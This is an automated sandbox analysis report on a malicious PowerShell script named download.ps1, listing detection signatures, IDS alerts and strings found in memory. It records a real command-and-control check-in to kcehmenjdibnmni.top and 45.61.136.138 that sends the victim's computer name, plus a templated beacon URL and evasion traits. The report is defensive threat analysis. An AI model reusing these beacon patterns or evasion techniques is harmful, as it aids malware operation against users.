Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
download.ps1

Overview

General Information

Sample name:download.ps1
Analysis ID:1583787
MD5:c9c8de8ed1567a61b95b5ff35fe2dc78
SHA1:d49f074633396ed62eb7a38182c76c4af2982e5d
SHA256:5e110c6a75fe27b5397c78238bc5a434d145ee95af9ea17ac82864588e1fe66e
Tags:KongTukeps1user-monitorsg
Infos:

Detection

Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
AI detected suspicious sample
Loading BitLocker PowerShell Module
Queries Google from non browser process on port 80
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Contains long sleeps (>= 3 min)
Detected non-DNS traffic on DNS port
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • powershell.exe (PID: 7276 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • conhost.exe (PID: 7284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

Sigma detected: Change PowerShell Policies to an Insecure Level
Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", ProcessId: 7276, ProcessName: powershell.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1", ProcessId: 7276, ProcessName: powershell.exe

Suricata Signatures

TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2025-01-03T15:21:12.779380+010020577411A Network Trojan was detected192.168.2.74969945.61.136.13880TCP
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2025-01-03T15:21:11.628016+010028594881Domain Observed Used for C2 Detected192.168.2.7523311.1.1.153UDP
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2025-01-03T15:21:12.779380+010018100002Potentially Bad Traffic192.168.2.74969945.61.136.13880TCP
2025-01-03T15:21:13.469329+010018100002Potentially Bad Traffic192.168.2.749700142.250.184.22880TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: download.ps1Virustotal: Detection: 8%Perma Link
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 81.5% probability
Source: Binary string: Microsoft.PowerShell.Commands.Utility.pdb1-F424491E3931}\InprocServer32 source: powershell.exe, 00000000.00000002.1365402439.000001B6258D2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000000.00000002.1400694010.000001B63FCCE000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000000.00000002.1400694010.000001B63FD87000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Management.Automation.pdb-4DDD-B3CE-5E7582D8C9FA}\InprocServer32 source: powershell.exe, 00000000.00000002.1365402439.000001B6258D2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000000.00000002.1365402439.000001B6258D2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000000.00000002.1400694010.000001B63FCCE000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000000.00000002.1400694010.000001B63FD87000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1365402439.000001B6258D2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbpdblib.pdb:} source: powershell.exe, 00000000.00000002.1399171005.000001B63FBAA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softy.pdbce: source: powershell.exe, 00000000.00000002.1399171005.000001B63FC6F000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior

Networking

barindex
Suricata IDS alerts for network traffic
Source: Network trafficSuricata IDS: 2859488 - Severity 1 - ETPRO MALWARE TA582 Domain in DNS Lookup : 192.168.2.7:52331 -> 1.1.1.1:53
Source: Network trafficSuricata IDS: 2057741 - Severity 1 - ET MALWARE TA582 CnC Checkin : 192.168.2.7:49699 -> 45.61.136.138:80
Queries Google from non browser process on port 80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeHTTP traffic: GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.google.com Connection: Keep-Alive
Source: global trafficTCP traffic: 192.168.2.7:57924 -> 1.1.1.1:53
Source: Joe Sandbox ViewIP Address: 45.61.136.138 45.61.136.138
Source: Joe Sandbox ViewASN Name: AS40676US AS40676US
Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 45.61.136.138:80
Source: Network trafficSuricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49700 -> 142.250.184.228:80
Source: global trafficHTTP traffic detected: GET /hlofm1brkshtr.php?id=user-PC&key=62803468549&s=527 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kcehmenjdibnmni.topConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.google.comConnection: Keep-Alive
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficHTTP traffic detected: GET /hlofm1brkshtr.php?id=user-PC&key=62803468549&s=527 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kcehmenjdibnmni.topConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.google.comConnection: Keep-Alive
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: *href=https://www.youtube.com/?tab=w1><spanX equals www.youtube.com (Youtube)
Source: global trafficDNS traffic detected: DNS query: kcehmenjdibnmni.top
Source: global trafficDNS traffic detected: DNS query: www.google.com
Source: powershell.exe, 00000000.00000002.1366056873.000001B627B08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B628DCF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://$b764eusxo23ywv0/$kd48yefho9u132r.php?id=$env:computername&key=$tglovf&s=527
Source: powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://0.google.
Source: powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://0.google.com/
Source: powershell.exe, 00000000.00000002.1400694010.000001B63FCCE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft.
Source: powershell.exe, 00000000.00000002.1399171005.000001B63FC5C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://csoft.com/pki/crl
Source: powershell.exe, 00000000.00000002.1366056873.000001B629094000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B628DCF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://kcehmenjdibnmni.top
Source: powershell.exe, 00000000.00000002.1366056873.000001B628DCF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://kcehmenjdibnmni.top/hlofm1brkshtr.php?id=user-PC&key=62803468549&s=527
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://maps.google.com/maps?hl=en&tab=wl
Source: powershell.exe, 00000000.00000002.1390914048.000001B637953000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.1366056873.000001B627B08000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B629C6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schema.org/WebPage
Source: powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schema.org/WebPageX
Source: powershell.exe, 00000000.00000002.1366056873.000001B627B08000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000000.00000002.1366056873.000001B6278E1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000000.00000002.1366056873.000001B627B08000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000000.00000002.1366056873.000001B627B08000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.blogger.com/?tab=wj
Source: powershell.exe, 00000000.00000002.1366056873.000001B629094000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290B3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.google.com
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.google.com/history/optout?hl=en
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.google.com/mobile/?hl=en&tab=wD
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.google.com/preferences?hl=enX
Source: powershell.exe, 00000000.00000002.1399171005.000001B63FBAA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft._
Source: powershell.exe, 00000000.00000002.1399171005.000001B63FBAA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.c
Source: powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://0.google
Source: powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://0.google.com/
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/ServiceLogin?hl=en&passive=true&continue=http://www.google.com/&ec=GAZAA
Source: powershell.exe, 00000000.00000002.1366056873.000001B6278E1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000000.00000002.1390914048.000001B637ABC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B6378E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B637BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B637B4E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6291B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://apis.google.com
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://books.google.com/?hl=en&tab=wp
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://calendar.google.com/calendar?tab=wc
Source: powershell.exe, 00000000.00000002.1390914048.000001B637953000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.1390914048.000001B637953000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.1390914048.000001B637953000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.1390914048.000001B637ABC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B637B4E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B629094000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/gws/other-hp
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/document/?usp=docs_alc
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/?tab=wo
Source: powershell.exe, 00000000.00000002.1366056873.000001B627B08000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://lh3.googleusercontent.com/ogw/default-user=s24
Source: powershell.exe, 00000000.00000002.1366056873.000001B6291B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://lh3.googleusercontent.com/ogw/default-user=s24X
Source: powershell.exe, 00000000.00000002.1390914048.000001B637ABC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B6378E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B637BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B637B4E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://lh3.googleusercontent.com/ogw/default-user=s96
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://lh3.googleusercontent.com/ogw/default-user=s96X
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://mail.google.com/mail/?tab=wm
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://news.google.com/?tab=wn
Source: powershell.exe, 00000000.00000002.1390914048.000001B637953000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://photos.google.com/?tab=wq&pageId=none
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://play.google.com/?hl=en&tab=w8
Source: powershell.exe, 00000000.00000002.1366056873.000001B6291B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ssl.gstatic.com/gb/images/b_8d5afc09.png);_background:url(https://ssl.gstatic.com/gb/images/
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/?hl=en&tab=wT
Source: powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.co
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/finance?tab=we
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/imghp?hl=en&tab=wi
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/intl/en/about/products?tab=whX
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/shopping?hl=en&source=og&tab=wf
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/webhp?tab=ww
Source: powershell.exe, 00000000.00000002.1366056873.000001B6291B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.gstatic.com
Source: powershell.exe, 00000000.00000002.1366056873.000001B6291B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.gstatic.comX
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.youtube.com/?tab=w1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFAAC7C88F20_2_00007FFAAC7C88F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFAAC7C7B460_2_00007FFAAC7C7B46
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFAAC7B202D0_2_00007FFAAC7B202D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFAAC7BF0E00_2_00007FFAAC7BF0E0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFAACA32DE00_2_00007FFAACA32DE0
Source: powershell.exe, 00000000.00000002.1366056873.000001B6290B3000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: var e=this||self;var g,h;a:{for(var k=["CLOSURE_FLAGS"],l=e,n=0;n<k.length;n++)if(l=l[k[n]],l==null){h=null;break a}h=l}var p=h&&h[610401301];g=p!=null?p:!1;var q,r=e.navigator;q=r?r.userAgentData||null:null;function t(a){return g?q?q.brands.some(function(c){return(c=c.brand)&&c.indexOf(a)!=-1}):!1:!1}function u(a){var c;a:{if(c=e.navigator)if(c=c.userAgent)break a;c=""}return c.indexOf(a)!=-1};function v(){return g?!!q&&q.brands.length>0:!1}function w(){return u("Safari")&&!(x()||(v()?0:u("Coast"))||(v()?0:u("Opera"))||(v()?0:u("Edge"))||(v()?t("Microsoft Edge"):u("Edg/"))||(v()?t("Opera"):u("OPR"))||u("Firefox")||u("FxiOS")||u("Silk")||u("Android"))}function x(){return v()?t("Chromium"):(u("Chrome")||u("CriOS"))&&!(v()?0:u("Edge"))||u("Silk")}function y(){return u("Android")&&!(x()||u("Firefox")||u("FxiOS")||(v()?0:u("Opera"))||u("Silk"))};var z=v()?!1:u("Trident")||u("MSIE");y();x();w();var A=!z&&!w(),D=function(a){if(/-[a-z]/.test("ved"))return null;if(A&&a.dataset){if(y()&&!("ved"in a.dataset))return null;a=a.dataset.ved;return a===void 0?null:a}return a.getAttribute("data-"+"ved".replace(/([A-Z])/g,"-$1").toLowerCase())};var E=[],F=null;function G(a){a=a.target;var c=performance.now(),f=[],H=f.concat,d=E;if(!(d instanceof Array)){var m=typeof Symbol!="undefined"&&Symbol.iterator&&d[Symbol.iterator];if(m)d=m.call(d);else if(typeof d.length=="number")d={next:b(d)};else throw Error("b`"+String(d));for(var B=[];!(m=d.next()).done;)B.push(m.value);d=B}E=H.call(f,d,[c]);igoogle.cdo.height)){var e=google,f=e.log,g="/client_204?&atyp=i&biw="+a+"&bih="+b+"&ei="+google.kEI,h="",k=window.google&&window.google.kOPI||null;k&&(h+="&opi="+k);f.call(e,"","",g+h)};}).call(this);})();</script> <script nonce="EFHztpWMKYx1DmiqSjYJsw">(function(){google.xjs={basecomb:'/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAwCsAQAAIABAgAAAAAAAAAAAAAAAIAIAUAAQJwAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d0/ujg\x3d1/rs\x3dACT90oE_rtqVigwL0ao_oPopZIJptrYpfg',basecss:'/xjs/_/ss/k\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAsAAAAIABAgAAAAAAAAAAAAAAAIAIAUAAQJw/rs\x3dACT90oF1BL3ZlaLO9UErlKWVa-MwNL-zZw',basejs:'/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/dg\x3d0/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qA',excm:[]};})();</script> <script nonce="EFHztpWMKYx1DmiqSjYJsw">(function(){var u='/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d3/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qA/m\x3dsb.split(c);for(var g=0;c=
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: basecomb:/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAwCsAQAAIABAgAAAAAAAAAAAAAAAIAIAUAAQJwAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d0/ujg\x3d1/rs\x3dACT90oE_rtqVigwL0ao_oPopZIJptrYpfgX
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: u='/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/am\x3dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAwCAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d3/rs\x3dACT90oGMPIbLhEbfa9cuZNWYzrj6GUW7qA/m\x3dsb_he,d'
Source: powershell.exe, 00000000.00000002.1366056873.000001B6291B1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: basecomb:/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX
Source: powershell.exe, 00000000.00000002.1366056873.000001B6291B1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: basecomb:/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Source: powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: basecomb:/xjs/_/js/k\x3dxjs.hp.en.slN0ICFlIdc.es5.O/ck\x3dxjs.hp.ZdvoAuacH0c.L.X.O/am\x3dBAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBAAAAAAAAAAAAAwCsAQAAIABAgAAAAAAAAAAAAAAAIAIAUAAQJwAAAOI7AgABsAgAAC8/d\x3d1/ed\x3d1/dg\x3d0/ujg\x3d1/rs\x3dACT90oE_rtqVigwL0ao_oPopZIJptrYpfg
Source: powershell.exe, 00000000.00000002.1390914048.000001B637ABC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B6378E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B637BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B637B4E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: else top.location='/doodles/';};})();</script><input value="AL9hbdgAAAAAZ3gAaf8dI2fAsaCSnwAkw1fr6y6wA3UK" name="iflsig" type="hidden"></span></span></td><td class="fl sblc" align="left" nowrap="" width="25%"><a href="/advanced_search?hl=en&amp;authuser=0">Advanced search</a></td></tr></table><input id="gbv" name="gbv" type="hidden" value="1"><script 